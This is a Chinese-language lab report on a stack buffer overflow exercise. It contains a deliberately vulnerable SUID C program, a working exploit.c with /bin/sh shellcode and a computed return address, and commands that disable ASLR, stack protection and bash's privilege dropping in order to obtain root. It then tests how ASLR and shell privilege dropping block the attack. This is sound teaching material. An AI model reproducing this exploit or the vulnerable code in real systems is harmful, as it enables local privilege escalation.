一、实验内容
在Ubuntu环境下，利用缓冲区溢出漏洞对用户程序进行攻击，从而在其中执行shellcode 达到获取root 权限的目的。
实验中，需要编写两个.c文件，stack.c是具有缓冲区溢出漏洞的用户程序，它会从文件中读取数据，并拷贝至自己的缓冲区。exploit.c则是需要攻击者精心设计的攻击程序，它会利用用户程序的漏洞产生badfile 文件，从而使用户程序读取badfile 时，被攻击者控制，进而获得root权限。
二、实验内容简介
1. 缓冲区溢出：是指程序试图向缓冲区写入超出预分配固定长度数据的情况。
2. 缓冲区溢出攻击：通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
3.防止缓冲区溢出攻击的几种常用保护机制：地址空间随机化、禁止栈执行、栈保护canary、FORTIFY等。
三、实验准备
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包：
sudo apt-get update sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev sudo apt-get install -y python3.6-gdbm gdb
四、实验步骤
1. 初始设置
（1）Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
内存地址随机化机制（address space layout randomization)，有以下三种情况：
0 - 表示关闭进程地址空间随机化。 1 - 表示将mmap的基址，stack和vdso页面随机化。 2 - 表示在1的基础上增加栈（heap）的随机化。
（2）此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。
linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：
sudo su cd /bin rm sh ln -s zsh sh exit
（3）输入命令 linux32 进入32位linux环境。输入 /bin/bash 使用bash：
2.shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
观察下述代码：
#include <stdio.h> int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
而本次实验的shellcode就是上述代码的汇编版本：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3. 漏洞程序
（1）在 /tmp 目录下新建一个 stack.c 文件，并输入下述代码：
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
（2）编译该程序，并设置 SET-UID。命令如下：
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
4. 攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。
（1）在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。
（2）获取shellcode在内存中的地址
- 输入命令进入 gdb 调试：
gdb stack disass main
- 设置断点，找到str 的地址
- 根据语句
strcpy(buffer + 100,shellcode);我们计算shellcode的地址为 ：0xffffcfb0+0x64=0xffffd014 - 现在修改
exploit.c文件，将\x??\x??\x??\x??修改为计算的结果\x14\xd0\xff\xff，注意顺序是反的。 - 编译
exploit.c程序：
gcc -m32 -o exploit exploit.c
5.攻击结果
先运行攻击程序 exploit，再运行漏洞程序 stack，然后输入whoami，观察结果。
由图中结果可知，通过攻击，成功获取了root权限。
如果不能攻击成功，提示”段错误“，那么请重新使用 gdb 反汇编，计算内存地址。
五、练习
1.通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。
（1）输入命令sudo sysctl -w kernel.randomize_va_space=2，打开系统的地址空间随机化机制，进入32位Linux运行环境，重新运行攻击程序和漏洞程序
由图可知，攻击失败！！
（2）通过反汇编，重新计算地址，再次进行攻击
可以计算出当前的shellcode的地址为：0xfff99a40+0x64=0xfff99aa4
修改exploit.c文件中的地址，如下图：
重新编译exploit.c文件，再次进行攻击，结果如下：
结果依然为：攻击失败！！
2.将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。
（1）在地址随机化机制开启的情况下，将/bin/sh重新指向/bin/bash，进行攻击，结果如下：
由图可知，攻击失败！！！
（2）关闭地址随机化机制，然后将 /bin/sh 重新指向 /bin/bash，进行攻击，结果如下：
由图可知，没有获取root权限，攻击失败！！
六、实验总结
通过本次实验，使我更加清楚了缓冲区溢出的原理以及堆栈在缓冲区溢出攻击中的重要性。一旦返回地址被覆盖为一段有攻击行为的恶意代码的地址，那么其造成的攻击后果不堪设想。通过后面的两个练习，又让我学习了两种防止缓冲区溢出的保护机制。
练习1是内存地址随机化机制，一旦这种机制打开，那么猜测shellcode的内存地址就会变得十分困难，从而起到了保护作用。练习1中，我还尝试通过反汇编找到内存地址，发现最终的结果还是攻击失败，可见这种保护机制的效果还是很不错的。练习2中的保护机制是许多shell程序在被调用时自动放弃它们的特权。因此，就算我们能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。从练习2的两次尝试中，均可以证明这种机制的有效性。
此外，在预习的时候我还学习了栈保护这种机制。当函数存在缓冲区溢出攻击漏洞时，攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后，函数开始执行的时候会先往栈里插入cookie信息，当函数真正返回的时候会验证cookie信息是否合法，如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉，导致栈保护检查失败而阻止shellcode的执行。
参考资料：https://www.jianshu.com/p/58f3d6392499——缓冲区溢出的保护机制
